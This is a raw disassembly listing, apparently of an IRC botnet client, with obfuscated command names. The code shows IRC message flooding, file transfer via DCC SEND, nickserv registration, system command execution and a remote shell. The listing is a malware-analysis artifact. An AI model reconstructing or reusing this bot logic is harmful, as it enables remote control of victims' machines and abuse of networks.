jz loc_40E290
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 2Ch
call sub_429ACC
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 2Ch
call sub_429ACC
cdq
mov ecx, 0C8h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40E290: ; CODE XREF: sub_40A938+3810j
; sub_40A938+381Bj ...
push dword ptr [ebx+4]
push offset aEwqxaOc1t_ ; "EWqxA//oC1T."
call edi ; dword_437174
test eax, eax
jnz loc_40E66B
cmp [ebx+8], eax
jz loc_40E66B
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 41h
mov byte ptr [ebp+arg_68+3], dl
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
movsx eax, byte ptr [ebp+arg_68+3]
push edx
push eax
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 0Fh
cdq
pop ecx
idiv ecx
lea eax, [ebp+var_220C0]
push edx
push offset dword_440F80
push eax
call sub_429A33
push 7D0h
push 400h
call sub_41E34F
add esp, 0C4h
push eax
lea eax, [ebp+var_38050]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_440F44
push eax
call sub_429A33
push 7D0h
push 400h
call sub_41E34F
add esp, 1Ch
push eax
call sub_429ACC
cdq
mov ecx, 5F5E0FFh
idiv ecx
lea eax, [ebp+var_3CE70]
push edx
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_440EF8
push eax
call sub_429A33
push 7D0h
push 400h
call sub_41E34F
add esp, 20h
push eax
call sub_429ACC
cdq
mov ecx, 5F5E0FFh
idiv ecx
push edx
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
lea eax, [ebp+var_41C90]
push offset dword_440EC8
push eax
call sub_429A33
push 7D0h
push 400h
call sub_41E34F
push eax
lea eax, [ebp+var_220C0]
push eax
lea eax, [ebp+var_46AB0]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_440EA4
push eax
call sub_429A33
add esp, 38h
call sub_42625A
push eax
lea eax, [ebp+var_220C0]
push eax
call sub_42625A
push eax
lea eax, [ebp+var_4B8D0]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset dword_440E8C
push eax
call sub_429A33
lea eax, [ebp+var_220C0]
push eax
lea eax, [ebp+var_506F0]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSDccSendCS ; "%s %s :DCC SEND C:\\\\\\\\%s"
push eax
call sub_429A33
lea eax, [ebp+var_38050]
push eax
call sub_4262C5
lea eax, [ebp+var_3CE70]
push eax
call sub_4262C5
lea eax, [ebp+var_41C90]
push eax
call sub_4262C5
lea eax, [ebp+var_46AB0]
push eax
call sub_4262C5
add esp, 40h
lea eax, [ebp+var_4B8D0]
push eax
call sub_4262C5
lea eax, [ebp+var_506F0]
push eax
call sub_4262C5
pop ecx
pop ecx
loc_40E66B: ; CODE XREF: sub_40A938+3964j
; sub_40A938+396Dj
push dword ptr [ebx+4]
push offset aJiatz0xsump1 ; "JIAtz0xSuMp1"
call edi ; dword_437174
test eax, eax
jnz loc_40E768
cmp [ebx+8], eax
jz loc_40E768
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
push 0Fh
mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
pop ecx
lea edi, [ebp+var_768]
rep movsd
movsw
movsb
mov esi, 2710h
lea eax, [ebp+var_66680]
push esi
push 0
push eax
call sub_429690
push esi
lea eax, [ebp+var_35940]
push 0
push eax
call sub_429690
add esp, 1Ch
mov esi, 8Fh
loc_40E6D0: ; CODE XREF: sub_40A938+3DE6j
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
call sub_429ACC
push 24h
cdq
pop ecx
idiv ecx
movsx eax, [ebp+edx+var_768]
push eax
push offset dword_440E6C
lea eax, [ebp+var_66680]
push 2710h
push eax
call sub_429AEE
add esp, 14h
lea eax, [ebp+var_66680]
push eax
lea eax, [ebp+var_35940]
push eax
call dword_437090 ; lstrcatA
dec esi
jnz short loc_40E6D0
push 7D0h
push 400h
call sub_41E34F
push eax
lea eax, [ebp+var_35940]
push eax
lea eax, [ebp+var_55510]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_440E44
push eax
call sub_429A33
lea eax, [ebp+var_55510]
push eax
call sub_4262C5
mov esi, [ebp+arg_C]
mov edi, dword_437174
add esp, 24h
loc_40E768: ; CODE XREF: sub_40A938+3D3Fj
; sub_40A938+3D48j
push dword ptr [ebx+4]
push offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
call edi ; dword_437174
test eax, eax
jnz loc_40E854
cmp [ebx+8], eax
jz loc_40E854
cmp [ebx+0Ch], eax
jz loc_40E854
push 2710h
push eax
lea eax, [ebp+var_52E00]
push eax
call sub_429690
push 104h
lea eax, [ebp+var_2EA8]
push 0
push eax
call sub_429690
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_2EA8]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 24h
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_C], eax
jle short loc_40E815
loc_40E7D3: ; CODE XREF: sub_40A938+3EDBj
mov eax, [ebp+arg_C]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40E80A
push eax
lea eax, [ebp+var_52E00]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_52E00]
push 104h
push eax
lea eax, [ebp+var_2EA8]
push eax
call sub_429910
add esp, 18h
loc_40E80A: ; CODE XREF: sub_40A938+3EA3j
inc [ebp+arg_C]
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_4]
jl short loc_40E7D3
loc_40E815: ; CODE XREF: sub_40A938+3E99j
push 7D0h
push 400h
call sub_41E34F
push eax
lea eax, [ebp+var_2EA8]
push eax
lea eax, [ebp+var_5A330]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_440E44
push eax
call sub_429A33
lea eax, [ebp+var_5A330]
push eax
call sub_4262C5
add esp, 24h
loc_40E854: ; CODE XREF: sub_40A938+3E3Cj
; sub_40A938+3E45j ...
push dword ptr [ebx+4]
push offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
call edi ; dword_437174
test eax, eax
jnz short loc_40E89A
lea eax, [ebp+var_21F8]
push eax
call sub_426698
lea eax, [ebp+var_21F8]
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40E89A: ; CODE XREF: sub_40A938+3F28j
push dword ptr [ebx+4]
push offset aE8qiq0hukv9 ; "e8qiq0Hukv9/"
call edi ; dword_437174
test eax, eax
jnz short loc_40E90A
mov eax, [ebx+8]
test eax, eax
jz short loc_40E90A
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
lea eax, [ebp+var_2268]
push eax
call sub_426698
lea eax, [ebp+var_2268]
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 2Ch
loc_40E90A: ; CODE XREF: sub_40A938+3F6Ej
; sub_40A938+3F75j
push dword ptr [ebx+4]
push offset a18rjk_sa2je ; "18Rjk.sa2JE/"
call edi ; dword_437174
test eax, eax
jnz loc_40E9DA
cmp [ebx+8], eax
jz loc_40E9DA
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40E9DA
and [ebp+arg_C], 0
push eax
call sub_42A030
test eax, eax
pop ecx
jle loc_40E9DA
loc_40E943: ; CODE XREF: sub_40A938+409Cj
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
lea eax, [ebp+var_1F8C]
push eax
call sub_426698
lea eax, [ebp+var_1F8C]
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 40h
inc [ebp+arg_C]
push dword ptr [ebx+0Ch]
call sub_42A030
cmp [ebp+arg_C], eax
pop ecx
jl loc_40E943
loc_40E9DA: ; CODE XREF: sub_40A938+3FDEj
; sub_40A938+3FE7j ...
push dword ptr [ebx+4]
push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
call edi ; dword_437174
test eax, eax
jnz loc_40EACD
mov eax, [ebx+8]
test eax, eax
jz loc_40EACD
cmp dword ptr [ebx+0Ch], 0
jz loc_40EACD
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 2Ch
call sub_429ACC
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40EACD: ; CODE XREF: sub_40A938+40AEj
; sub_40A938+40B9j ...
push dword ptr [ebx+4]
push offset aXzaru0amxhi_ ; "XZArU0aMxhi."
call edi ; dword_437174
test eax, eax
jnz loc_40EBB6
mov eax, [ebx+8]
test eax, eax
jz loc_40EBB6
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 2Ch
call sub_429ACC
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40EBB6: ; CODE XREF: sub_40A938+41A1j
; sub_40A938+41ACj
push dword ptr [ebx+4]
push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
call edi ; dword_437174
test eax, eax
jnz loc_40ECD2
mov eax, [ebx+8]
test eax, eax
jz loc_40ECD2
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 28h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44105C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44104C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_44104C
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 14h
loc_40ECD2: ; CODE XREF: sub_40A938+428Aj
; sub_40A938+4295j
push dword ptr [ebx+4]
push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
call edi ; dword_437174
test eax, eax
jnz loc_40EE01
mov eax, [ebx+8]
test eax, eax
jz loc_40EE01
cmp dword ptr [ebx+0Ch], 0
jz loc_40EE01
push eax
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
lea eax, [ebp+var_59BC]
push offset aSS_1 ; "%s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
push dword ptr [ebx+8]
lea eax, [ebp+var_59BC]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset dword_441070
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 28h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
call sub_429ACC
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_43718C ; Sleep
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push offset aSSS ; "%s %s :%s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40EE01: ; CODE XREF: sub_40A938+43A6j
; sub_40A938+43B1j ...
push dword ptr [ebx+4]
push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
call edi ; dword_437174
test eax, eax
jnz loc_40EEAF
mov eax, [ebx+0Ch]
test eax, eax
jz loc_40EEAF
push eax
lea eax, [ebp+var_32AC]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 4
pop eax
cmp [ebp+arg_4], eax
mov [ebp+arg_C], eax
jle short loc_40EE80
loc_40EE3E: ; CODE XREF: sub_40A938+4546j
mov eax, [ebp+arg_C]
mov eax, [ebx+eax*4]
test eax, eax
jz short loc_40EE75
push eax
lea eax, [ebp+var_E840]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_E840]
push 100h
push eax
lea eax, [ebp+var_32AC]
push eax
call sub_429910
add esp, 18h
loc_40EE75: ; CODE XREF: sub_40A938+450Ej
inc [ebp+arg_C]
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_4]
jl short loc_40EE3E
loc_40EE80: ; CODE XREF: sub_40A938+4504j
lea eax, [ebp+var_32AC]
push eax
lea eax, [ebp+var_59BC]
push dword ptr [ebx+8]
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push offset aSMemoservSendS ; "%s memoserv :send %s %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 18h
loc_40EEAF: ; CODE XREF: sub_40A938+44D5j
; sub_40A938+44E0j
push dword ptr [ebx+4]
push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
call edi ; dword_437174
test eax, eax
jnz short loc_40EF13
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_401A77
push eax
call sub_401A77
push eax
lea eax, [ebp+var_5F150]
push offset aS@S_com ; "%s@%s.com"
push eax
call sub_429A33
lea eax, [ebp+var_5F150]
push eax
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
lea eax, [ebp+var_59BC]
push offset aSNickservRegis ; "%s nickserv :register pass103 %s"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 24h
loc_40EF13: ; CODE XREF: sub_40A938+4583j
push dword ptr [ebx+4]
push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
call edi ; dword_437174
test eax, eax
jnz short loc_40EF46
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
lea eax, [ebp+var_59BC]
push offset aSNickservDrop ; "%s nickserv drop"
push eax
call sub_429A33
lea eax, [ebp+var_59BC]
push eax
call sub_4262C5
add esp, 10h
loc_40EF46: ; CODE XREF: sub_40A938+45E7j
push dword ptr [ebx+4]
push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
call sub_426AA3
xor ebx, ebx
mov edi, offset aSUnloaded_ ; "%s Unloaded."
cmp [ebp+arg_14], ebx
jnz short loc_40EF82
cmp [ebp+arg_18], ebx
jnz short loc_40EF8B
push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40EF82: ; CODE XREF: sub_40A938+462Fj
cmp [ebp+arg_18], ebx
jz loc_4148CF
loc_40EF8B: ; CODE XREF: sub_40A938+4634j
push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
jmp loc_41467D
; ---------------------------------------------------------------------------
loc_40EF95: ; CODE XREF: sub_40A938+2A19j
push dword ptr [ebx]
push offset aFepmfZswfd ; "FEpMF/ZswFD/"
call edi ; dword_437174
test eax, eax
jnz loc_40F03B
cmp [ebx+4], eax
jnz short loc_40EFB5
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jmp loc_40F7DA
; ---------------------------------------------------------------------------
loc_40EFB5: ; CODE XREF: sub_40A938+4671j
push 20h
push [ebp+arg_8]
call sub_42B0D0
mov edi, eax
xor ebx, ebx
pop ecx
cmp edi, ebx
pop ecx
jz loc_4148CF
cmp [ebp+arg_34], ebx
jz short loc_40F003
mov al, [ebp+arg_38]
mov byte ptr [ebp+arg_C+3], 5Fh
test al, al
jz short loc_40EFE0
mov byte ptr [ebp+arg_C+3], al
loc_40EFE0: ; CODE XREF: sub_40A938+46A3j
push edi
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_40F003
loc_40EFEB: ; CODE XREF: sub_40A938+46C9j
mov al, byte ptr [ebp+arg_C+3]
cmp [ebx+edi], al
jnz short loc_40EFF7
mov byte ptr [ebx+edi], 20h
loc_40EFF7: ; CODE XREF: sub_40A938+46B9j
push edi
inc ebx
call sub_4292D0
cmp ebx, eax
pop ecx
jb short loc_40EFEB
loc_40F003: ; CODE XREF: sub_40A938+4698j
; sub_40A938+46B1j
inc edi
push edi
call sub_42B019
test eax, eax
pop ecx
jz short loc_40F02B
cmp [ebp+arg_18], 0
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSystemcallFai ; "%s SystemCall failed."
jnz loc_41467E
loc_40F023: ; CODE XREF: sub_40A938+C33j
push dword ptr [esi+0Ch]
jmp loc_40AE8B
; ---------------------------------------------------------------------------
loc_40F02B: ; CODE XREF: sub_40A938+46D5j
push edi
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSSystemcallSen ; "%s SystemCall sent: \"%s\""
jmp loc_40D132
; ---------------------------------------------------------------------------
loc_40F03B: ; CODE XREF: sub_40A938+4668j
push dword ptr [ebx]
push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
call edi ; dword_437174
test eax, eax
jnz loc_40F128
mov eax, [ebp+arg_14]
mov ecx, [ebp+arg_18]
mov [ebp+var_27D4], eax
mov eax, [ebp+arg_10]
mov [ebp+var_27D8], ecx
mov [ebp+var_28E4], eax
mov eax, [eax]
mov [ebp+var_28E0], eax
lea eax, [ebp+var_285C]
test ecx, ecx
jnz short loc_40F07E
push dword ptr [esi+0Ch]
jmp short loc_40F080
; ---------------------------------------------------------------------------
loc_40F07E: ; CODE XREF: sub_40A938+473Fj
push dword ptr [esi]
loc_40F080: ; CODE XREF: sub_40A938+4744j
push eax
call dword_4370A4 ; lstrcpyA
push 0Fh
call sub_423737
test eax, eax
pop ecx
jle short loc_40F0A2
mov ebx, offset aSS_ ; "%s %s."
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
jmp loc_40F230
; ---------------------------------------------------------------------------
loc_40F0A2: ; CODE XREF: sub_40A938+4759j
push [ebp+var_28E4]
lea eax, [ebp+var_285C]
push eax
call sub_41E6F8
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov edi, offset aWhdag1glagf_ ; "WHdAg1glAgf."
mov ebx, offset aSCouldnTOpenSh ; "%s Couldn't open shell."
jnz short loc_40F0E1
cmp [ebp+arg_14], 0
jnz short loc_40F0E1
cmp [ebp+arg_18], 0
jnz short loc_40F0E7
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40F0E1: ; CODE XREF: sub_40A938+478Bj
; sub_40A938+4791j
cmp [ebp+arg_18], 0
jz short loc_40F0F5
loc_40F0E7: ; CODE XREF: sub_40A938+4797j
push edi
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
jmp short loc_40F110
; ---------------------------------------------------------------------------
loc_40F0F5: ; CODE XREF: sub_40A938+47ADj
cmp [ebp+arg_14], 0
jnz loc_4148CF
push edi
push offset aSShellReady_ ; "%s Shell ready."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
loc_40F110: ; CODE XREF: sub_40A938+47BBj
add esp, 10h
cmp [ebp+arg_18], 0
jz loc_4148CF
push edi
push offset aSShellReady_ ; "%s Shell ready."
jmp loc_41467E
; ---------------------------------------------------------------------------
loc_40F128: ; CODE XREF: sub_40A938+470Ej
push dword ptr [ebx]
push offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
call edi ; dword_437174
test eax, eax
jnz loc_40F2AA
cmp [ebx+4], eax
jnz short loc_40F17C
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40F167
cmp [ebp+arg_18], eax
jnz short loc_40F171
push ebx
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40F167: ; CODE XREF: sub_40A938+4813j
